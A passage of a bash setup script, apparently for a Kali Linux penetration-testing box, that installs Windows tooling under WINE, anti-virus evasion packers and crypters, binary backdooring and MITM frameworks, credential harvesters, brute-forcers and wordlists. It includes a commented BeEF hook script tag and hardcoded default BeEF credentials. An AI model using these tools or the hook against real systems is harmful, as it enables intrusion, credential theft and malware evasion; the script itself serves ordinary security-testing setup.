  2824. (( STAGE++ )); echo -e " ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}WINE (x64)${RESET}"
  2825. dpkg --add-architecture i386
  2826. apt -qq update
  2827. apt -y -qq install wine32 \
  2828. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2829. fi
  2830. #--- Run WINE for the first time
  2831. [ -e /usr/share/windows-binaries/whoami.exe ] && wine /usr/share/windows-binaries/whoami.exe &>/dev/null
  2832. #--- Setup default file association for .exe
  2833. file=~/.local/share/applications/mimeapps.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  2834. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2835. echo -e 'application/x-ms-dos-executable=wine.desktop' >> "${file}"
  2836.  
  2837.  
  2838. ##### Install MinGW (Windows) ~ cross compiling suite
  2839. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MinGW (Windows)${RESET} ~ cross compiling suite"
  2840. apt -y -qq install wine curl unzip \
  2841. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2842. timeout 300 curl --progress -k -L -f "http://sourceforge.net/projects/mingw/files/Installer/mingw-get/mingw-get-0.6.2-beta-20131004-1/mingw-get-0.6.2-mingw32-beta-20131004-1-bin.zip/download" > /tmp/mingw-get.zip \
  2843. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading mingw-get.zip" 1>&2 #***!!! hardcoded path!
  2844. mkdir -p ~/.wine/drive_c/MinGW/bin/
  2845. unzip -q -o -d ~/.wine/drive_c/MinGW/ /tmp/mingw-get.zip
  2846. pushd ~/.wine/drive_c/MinGW/ >/dev/null
  2847. for FILE in mingw32-base mingw32-gcc-g++ mingw32-gcc-objc; do #msys-base
  2848. wine ./bin/mingw-get.exe install "${FILE}" 2>&1 | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2849. done
  2850. popd >/dev/null
  2851. #--- Add to windows path
  2852. grep -q '^"PATH"=.*C:\\\\MinGW\\\\bin' ~/.wine/system.reg \
  2853. || sed -i '/^"PATH"=/ s_"$_;C:\\\\MinGW\\\\bin"_' ~/.wine/system.reg
  2854.  
  2855.  
  2856. ##### Downloading AccessChk.exe
  2857. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Downloading ${GREEN}AccessChk.exe${RESET} ~ Windows environment tester"
  2858. apt -y -qq install curl windows-binaries unzip \
  2859. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2860. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe" > /usr/share/windows-binaries/accesschk_v5.02.exe \
  2861. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading accesschk_v5.02.exe" 1>&2 #***!!! hardcoded path!
  2862. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "https://download.sysinternals.com/files/AccessChk.zip" > /usr/share/windows-binaries/AccessChk.zip \
  2863. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading AccessChk.zip" 1>&2
  2864. unzip -q -o -d /usr/share/windows-binaries/ /usr/share/windows-binaries/AccessChk.zip
  2865. rm -f /usr/share/windows-binaries/{AccessChk.zip,Eula.txt}
  2866.  
  2867.  
  2868. ##### Downloading PsExec.exe
  2869. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Downloading ${GREEN}PsExec.exe${RESET} ~ Pass The Hash 'phun'"
  2870. apt -y -qq install curl windows-binaries unzip unrar \
  2871. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2872. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://download.sysinternals.com/files/PSTools.zip" > /tmp/pstools.zip \
  2873. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pstools.zip" 1>&2
  2874. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "http://www.coresecurity.com/system/files/pshtoolkit_v1.4.rar" > /tmp/pshtoolkit.rar \
  2875. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pshtoolkit.rar" 1>&2 #***!!! hardcoded path!
  2876. unzip -q -o -d /usr/share/windows-binaries/pstools/ /tmp/pstools.zip
  2877. unrar x -y /tmp/pshtoolkit.rar /usr/share/windows-binaries/ >/dev/null
  2878.  
  2879.  
  2880. ##### Install Python (Windows via WINE)
  2881. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Python (Windows)${RESET}"
  2882. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://www.python.org/ftp/python/2.7.9/python-2.7.9.msi" > /tmp/python.msi \
  2883. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading python.msi" 1>&2 #***!!! hardcoded path!
  2884. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download" > /tmp/pywin32.exe \
  2885. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pywin32.exe" 1>&2 #***!!! hardcoded path!
  2886. wine msiexec /i /tmp/python.msi /qb 2>&1 | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2887. pushd /tmp/ >/dev/null
  2888. rm -rf "PLATLIB/" "SCRIPTS/"
  2889. unzip -q -o /tmp/pywin32.exe
  2890. cp -rf PLATLIB/* ~/.wine/drive_c/Python27/Lib/site-packages/
  2891. cp -rf SCRIPTS/* ~/.wine/drive_c/Python27/Scripts/
  2892. rm -rf "PLATLIB/" "SCRIPTS/"
  2893. popd >/dev/null
  2894.  
  2895.  
  2896. ##### Install veil framework
  2897. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}veil-evasion framework${RESET} ~ bypassing anti-virus"
  2898. apt -y -qq install veil-evasion \
  2899. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2900. #bash /usr/share/veil-evasion/setup/setup.sh --silent
  2901. mkdir -p /var/lib/veil-evasion/go/bin/
  2902. touch /etc/veil/settings.py
  2903. sed -i 's/TERMINAL_CLEAR=".*"/TERMINAL_CLEAR="false"/' /etc/veil/settings.py
  2904.  
  2905.  
  2906. ##### Install OP packers
  2907. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}OP packers${RESET} ~ bypassing anti-virus"
  2908. apt -y -qq install upx-ucl curl \
  2909. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2910. mkdir -p /opt/packers/
  2911. echo -n '[1/3]'; timeout 300 curl --progress -k -L -f "http://www.eskimo.com/~scottlu/win/cexe.exe" > /opt/packers/cexe.exe \
  2912. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading cexe.exe" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  2913. echo -n '[2/3]'; timeout 300 curl --progress -k -L -f "http://www.farbrausch.de/~fg/kkrunchy/kkrunchy_023a2.zip" > /opt/packers/kkrunchy.zip \
  2914. && unzip -q -o -d /opt/packers/ /opt/packers/kkrunchy.zip \
  2915. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kkrunchy.zip" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  2916. echo -n '[3/3]'; timeout 300 curl --progress -k -L -f "https://pescrambler.googlecode.com/files/PEScrambler_v0_1.zip" > /opt/packers/PEScrambler.zip \
  2917. && unzip -q -o -d /opt/packers/ /opt/packers/PEScrambler.zip \
  2918. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading PEScrambler.zip" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  2919. #*** ??????? Need to make a bash script like hyperion...
  2920. #--- Link to others
  2921. apt -y -qq install windows-binaries \
  2922. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2923. ln -sf /opt/packers/ /usr/share/windows-binaries/packers
  2924.  
  2925.  
  2926. ##### Install hyperion
  2927. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hyperion${RESET} ~ bypassing anti-virus"
  2928. apt -y -qq install unzip windows-binaries \
  2929. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2930. unzip -q -o -d /usr/share/windows-binaries/ $(find /usr/share/windows-binaries/ -name "Hyperion-*.zip" -type f -print -quit)
  2931. #--- Compile
  2932. i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ \
  2933. /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/*.cpp \
  2934. -o /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/bin/crypter.exe
  2935. ln -sf /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/bin/crypter.exe /usr/share/windows-binaries/Hyperion-1.0/crypter.exe #***!!! hardcoded path!
  2936. wine ~/.wine/drive_c/MinGW/bin/g++.exe /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/*.cpp \
  2937. -o /usr/share/windows-binaries/hyperion.exe 2>&1 \
  2938. | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2939. #--- Add to path
  2940. file=/usr/local/bin/hyperion
  2941. cat <<EOF > "${file}" \
  2942. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2943. #!/bin/bash
  2944.  
  2945. ## Note: This is far from perfect...
  2946.  
  2947. CWD=\$(pwd)/
  2948. BWD="?"
  2949.  
  2950. ## Using full path?
  2951. [ -e "/\${1}" ] && BWD=""
  2952.  
  2953. ## Using relative path?
  2954. [ -e "./\${1}" ] && BWD="\${CWD}"
  2955.  
  2956. ## Can't find input file!
  2957. [[ "\${BWD}" == "?" ]] && echo -e ' '${RED}'[!]'${RESET}' Cant find \$1. Quitting...' && exit
  2958.  
  2959. ## The magic!
  2960. cd /usr/share/windows-binaries/Hyperion-1.0/
  2961. $(which wine) ./Src/Crypter/bin/crypter.exe \${BWD}\${1} output.exe
  2962.  
  2963. ## Restore our path
  2964. cd \${CWD}/
  2965. sleep 1s
  2966.  
  2967. ## Move the output file
  2968. mv -f /usr/share/windows-binaries/Hyperion-1.0/output.exe \${2}
  2969.  
  2970. ## Generate file hashes
  2971. for FILE in \${1} \${2}; do
  2972. echo "[i] \$(md5sum \${FILE})"
  2973. done
  2974. EOF
  2975. chmod +x "${file}"
  2976.  
  2977.  
  2978. ##### Install shellter
  2979. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shellter${RESET} ~ dynamic shellcode injector"
  2980. apt -y -qq install shellter \
  2981. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2982.  
  2983.  
  2984. ##### Install the backdoor factory
  2985. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Backdoor Factory${RESET} ~ bypassing anti-virus"
  2986. apt -y -qq install backdoor-factory \
  2987. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2988.  
  2989.  
  2990. ##### Install Backdoor Factory Proxy (BDFProxy)
  2991. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Backdoor Factory Proxy (BDFProxy)${RESET} ~ patches binaries files during a MITM"
  2992. apt -y -qq install bdfproxy \
  2993. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2994.  
  2995.  
  2996. ##### Install BetterCap
  2997. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}BetterCap${RESET} ~ MITM framework"
  2998. apt -y -qq install git ruby-dev libpcap-dev \
  2999. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3000. git clone -q -b master https://github.com/evilsocket/bettercap.git /opt/bettercap-git/ \
  3001. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3002. pushd /opt/bettercap-git/ >/dev/null
  3003. git pull -q
  3004. gem build bettercap.gemspec
  3005. gem install bettercap*.gem
  3006. popd >/dev/null
  3007.  
  3008.  
  3009. ##### Install mitmf
  3010. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MITMf${RESET} ~ framework for MITM attacks"
  3011. apt -y -qq install mitmf \
  3012. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3013.  
  3014.  
  3015. ##### Install responder
  3016. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Responder${RESET} ~ rogue server"
  3017. apt -y -qq install responder \
  3018. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3019.  
  3020.  
  3021. ##### Install seclist
  3022. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}seclist${RESET} ~ multiple types of (word)lists (and similar things)"
  3023. apt -y -qq install seclists \
  3024. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3025. #--- Link to others
  3026. apt -y -qq install wordlists \
  3027. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3028. [ -e /usr/share/seclists ] \
  3029. && ln -sf /usr/share/seclists /usr/share/wordlists/seclists
  3030.  
  3031.  
  3032. ##### Update wordlists
  3033. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}wordlists${RESET} ~ collection of wordlists"
  3034. apt -y -qq install wordlists curl \
  3035. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3036. #--- Extract rockyou wordlist
  3037. [ -e /usr/share/wordlists/rockyou.txt.gz ] \
  3038. && gzip -dc < /usr/share/wordlists/rockyou.txt.gz > /usr/share/wordlists/rockyou.txt
  3039. #--- Add 10,000 Top/Worst/Common Passwords
  3040. mkdir -p /usr/share/wordlists/
  3041. (curl --progress -k -L -f "http://xato.net/files/10k most common.zip" > /tmp/10kcommon.zip 2>/dev/null \
  3042. || curl --progress -k -L -f "http://download.g0tmi1k.com/wordlists/common-10k_most_common.zip" > /tmp/10kcommon.zip 2>/dev/null) \
  3043. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 10kcommon.zip" 1>&2
  3044. unzip -q -o -d /usr/share/wordlists/ /tmp/10kcommon.zip 2>/dev/null #***!!! hardcoded version! Need to manually check for updates
  3045. mv -f /usr/share/wordlists/10k{\ most\ ,_most_}common.txt
  3046. #--- Linking to more - folders
  3047. [ -e /usr/share/dirb/wordlists ] \
  3048. && ln -sf /usr/share/dirb/wordlists /usr/share/wordlists/dirb
  3049. #--- Extract sqlmap wordlist
  3050. unzip -o -d /usr/share/sqlmap/txt/ /usr/share/sqlmap/txt/wordlist.zip
  3051. ln -sf /usr/share/sqlmap/txt/wordlist.txt /usr/share/wordlists/sqlmap.txt
  3052. #--- Not enough? Want more? Check below!
  3053. #apt search wordlist
  3054. #find / \( -iname '*wordlist*' -or -iname '*passwords*' \) #-exec ls -l {} \;
  3055.  
  3056.  
  3057. ##### Install apt-file
  3058. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apt-file${RESET} ~ which package includes a specific file"
  3059. apt -y -qq install apt-file \
  3060. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3061. apt-file update
  3062.  
  3063.  
  3064. ##### Install apt-show-versions
  3065. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apt-show-versions${RESET} ~ which package version in repo"
  3066. apt -y -qq install apt-show-versions \
  3067. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3068.  
  3069.  
  3070. ##### Install Babel scripts
  3071. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Babel scripts${RESET} ~ post exploitation scripts"
  3072. apt -y -qq install git \
  3073. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3074. git clone -q -b master https://github.com/attackdebris/babel-sf.git /opt/babel-sf-git/ \
  3075. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3076. pushd /opt/babel-sf-git/ >/dev/null
  3077. git pull -q
  3078. popd >/dev/null
  3079.  
  3080.  
  3081. ##### Install checksec
  3082. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}checksec${RESET} ~ check *nix OS for security features"
  3083. apt -y -qq install curl \
  3084. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3085. mkdir -p /usr/share/checksec/
  3086. file=/usr/share/checksec/checksec.sh
  3087. timeout 300 curl --progress -k -L -f "http://www.trapkit.de/tools/checksec.sh" > "${file}" \
  3088. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading checksec.sh" 1>&2 #***!!! hardcoded patch
  3089. chmod +x "${file}"
  3090.  
  3091.  
  3092. ##### Install shellconv
  3093. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shellconv${RESET} ~ shellcode disassembler"
  3094. apt -y -qq install git \
  3095. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3096. git clone -q -b master https://github.com/hasherezade/shellconv.git /opt/shellconv-git/ \
  3097. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3098. pushd /opt/shellconv-git/ >/dev/null
  3099. git pull -q
  3100. popd >/dev/null
  3101. #--- Add to path
  3102. file=/usr/local/bin/shellconv-git
  3103. cat <<EOF > "${file}" \
  3104. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3105. #!/bin/bash
  3106.  
  3107. cd /opt/shellconv-git/ && python shellconv.py "\$@"
  3108. EOF
  3109. chmod +x "${file}"
  3110.  
  3111.  
  3112. ##### Install bless
  3113. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bless${RESET} ~ GUI hex editor"
  3114. apt -y -qq install bless \
  3115. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3116.  
  3117.  
  3118. ##### Install dhex
  3119. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dhex${RESET} ~ CLI hex compare"
  3120. apt -y -qq install dhex \
  3121. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3122.  
  3123.  
  3124. ##### Install firmware-mod-kit
  3125. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firmware-mod-kit${RESET} ~ customize firmware"
  3126. apt -y -qq install firmware-mod-kit \
  3127. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3128.  
  3129.  
  3130. ##### Install lnav
  3131. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}lnav${RESET} ~ CLI log veiwer"
  3132. apt -y -qq install lnav \
  3133. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3134.  
  3135.  
  3136. ##### Install commix
  3137. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}commix${RESET} ~ automatic command injection"
  3138. apt -y -qq install commix \
  3139. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3140.  
  3141.  
  3142. ##### Install fimap
  3143. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}fimap${RESET} ~ automatic LFI/RFI tool"
  3144. apt -y -qq install fimap \
  3145. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3146.  
  3147.  
  3148. ##### Install smbmap
  3149. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}smbmap${RESET} ~ SMB enumeration tool"
  3150. apt -y -qq install smbmap \
  3151. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3152.  
  3153.  
  3154. ##### Install smbspider
  3155. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}smbspider${RESET} ~ search network shares"
  3156. apt -y -qq install git \
  3157. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3158. git clone -q -b master https://github.com/T-S-A/smbspider.git /opt/smbspider-git/ \
  3159. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3160. pushd /opt/smbspider-git/ >/dev/null
  3161. git pull -q
  3162. popd >/dev/null
  3163.  
  3164.  
  3165. ##### Install CrackMapExec
  3166. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}CrackMapExec${RESET} ~ Swiss army knife for Windows environments"
  3167. apt -y -qq install git \
  3168. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3169. git clone -q -b master https://github.com/byt3bl33d3r/CrackMapExec.git /opt/crackmapexec-git/ \
  3170. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3171. pushd /opt/crackmapexec-git/ >/dev/null
  3172. git pull -q
  3173. popd >/dev/null
  3174.  
  3175.  
  3176. ##### Install credcrack
  3177. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}credcrack${RESET} ~ credential harvester via Samba"
  3178. apt -y -qq install git \
  3179. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3180. git clone -q -b master https://github.com/gojhonny/CredCrack.git /opt/credcrack-git/ \
  3181. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3182. pushd /opt/credcrack-git/ >/dev/null
  3183. git pull -q
  3184. popd >/dev/null
  3185.  
  3186.  
  3187. ##### Install Empire
  3188. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Empire${RESET} ~ PowerShell post-exploitation"
  3189. apt -y -qq install git \
  3190. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3191. git clone -q -b master https://github.com/PowerShellEmpire/Empire.git /opt/empire-git/ \
  3192. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3193. pushd /opt/empire-git/ >/dev/null
  3194. git pull -q
  3195. popd >/dev/null
  3196.  
  3197.  
  3198. ##### Install wig (https://bugs.kali.org/view.php?id=1932)
  3199. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wig${RESET} ~ web application detection"
  3200. apt -y -qq install git \
  3201. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3202. git clone -q -b master https://github.com/jekyc/wig.git /opt/wig-git/ \
  3203. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3204. pushd /opt/wig-git/ >/dev/null
  3205. git pull -q
  3206. popd >/dev/null
  3207. #--- Add to path
  3208. file=/usr/local/bin/wig-git
  3209. cat <<EOF > "${file}" \
  3210. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3211. #!/bin/bash
  3212.  
  3213. cd /opt/wig-git/ && python wig.py "\$@"
  3214. EOF
  3215. chmod +x "${file}"
  3216.  
  3217.  
  3218. ##### Install CMSmap
  3219. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}CMSmap${RESET} ~ CMS detection"
  3220. apt -y -qq install git \
  3221. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3222. git clone -q -b master https://github.com/Dionach/CMSmap.git /opt/cmsmap-git/ \
  3223. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3224. pushd /opt/cmsmap-git/ >/dev/null
  3225. git pull -q
  3226. popd >/dev/null
  3227. #--- Add to path
  3228. file=/usr/local/bin/cmsmap-git
  3229. cat <<EOF > "${file}" \
  3230. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3231. #!/bin/bash
  3232.  
  3233. cd /opt/cmsmap-git/ && python cmsmap.py "\$@"
  3234. EOF
  3235. chmod +x "${file}"
  3236.  
  3237.  
  3238. ##### Install droopescan
  3239. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}DroopeScan${RESET} ~ Drupal vulnerability scanner"
  3240. apt -y -qq install git \
  3241. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3242. git clone -q -b master https://github.com/droope/droopescan.git /opt/droopescan-git/ \
  3243. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3244. pushd /opt/droopescan-git/ >/dev/null
  3245. git pull -q
  3246. popd >/dev/null
  3247. #--- Add to path
  3248. file=/usr/local/bin/droopescan-git
  3249. cat <<EOF > "${file}" \
  3250. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3251. #!/bin/bash
  3252.  
  3253. cd /opt/droopescan-git/ && python droopescan "\$@"
  3254. EOF
  3255. chmod +x "${file}"
  3256.  
  3257.  
  3258. ##### Install BeEF XSS
  3259. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}BeEF XSS${RESET} ~ XSS framework"
  3260. apt -y -qq install beef-xss \
  3261. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3262. #--- Configure beef
  3263. file=/usr/share/beef-xss/config.yaml; [ -e "${file}" ] && cp -n $file{,.bkup}
  3264. username="root"
  3265. password="toor"
  3266. sed -i 's/user:.*".*"/user: "'${username}'"/' "${file}"
  3267. sed -i 's/passwd:.*".*"/passwd: "'${password}'"/' "${file}"
  3268. echo -e " ${YELLOW}[i]${RESET} BeEF username: ${username}"
  3269. echo -e " ${YELLOW}[i]${RESET} BeEF password: ${password} ***${BOLD}CHANGE THIS ASAP${RESET}***"
  3270. echo -e " ${YELLOW}[i]${RESET} Edit: /usr/share/beef-xss/config.yaml"
  3271. #--- Example
  3272. #<script src="http://192.168.155.175:3000/hook.js" type="text/javascript"></script>
  3273.  
  3274.  
  3275. ##### Install patator (GIT)
  3276. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}patator${RESET} (GIT) ~ brute force"
  3277. apt -y -qq install git \
  3278. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3279. git clone -q -b master https://github.com/lanjelot/patator.git /opt/patator-git/ \
  3280. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3281. pushd /opt/patator-git/ >/dev/null
  3282. git pull -q
  3283. popd >/dev/null
  3284. #--- Add to path
  3285. file=/usr/local/bin/patator-git
  3286. cat <<EOF > "${file}" \
  3287. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3288. #!/bin/bash
  3289.  
  3290. cd /opt/patator-git/ && python patator.py "\$@"
  3291. EOF
  3292. chmod +x "${file}"
  3293.  
  3294.  
  3295. ##### Install crowbar
  3296. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}crowbar${RESET} ~ brute force"
  3297. apt -y -qq install git openvpn freerdp-x11 vncviewer \
  3298. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3299. git clone -q -b master https://github.com/galkan/crowbar.git /opt/crowbar-git/ \
  3300. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3301. pushd /opt/crowbar-git/ >/dev/null
  3302. git pull -q
  3303. popd >/dev/null
  3304. #--- Add to path
  3305. file=/usr/local/bin/crowbar-git
  3306. cat <<EOF > "${file}" \
  3307. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3308. #!/bin/bash
  3309.  
  3310. cd /opt/crowbar-git/ && python crowbar.py "\$@"
  3311. EOF
  3312. chmod +x "${file}"
  3313.  
  3314.  
  3315. ##### Install xprobe
  3316. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}xprobe${RESET} ~ OS fingerprinting"
  3317. apt -y -qq install xprobe \
  3318. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3319.  
  3320.  
  3321. ##### Install p0f
  3322. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}p0f${RESET} ~ OS fingerprinting"
  3323. apt -y -qq install p0f \
  3324. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3325. #p0f -i eth0 -p & curl 192.168.0.1
  3326.  
  3327.  
  3328. ##### Install nbtscan ~ http://unixwiz.net/tools/nbtscan.html vs http://inetcat.org/software/nbtscan.html (see http://sectools.org/tool/nbtscan/)
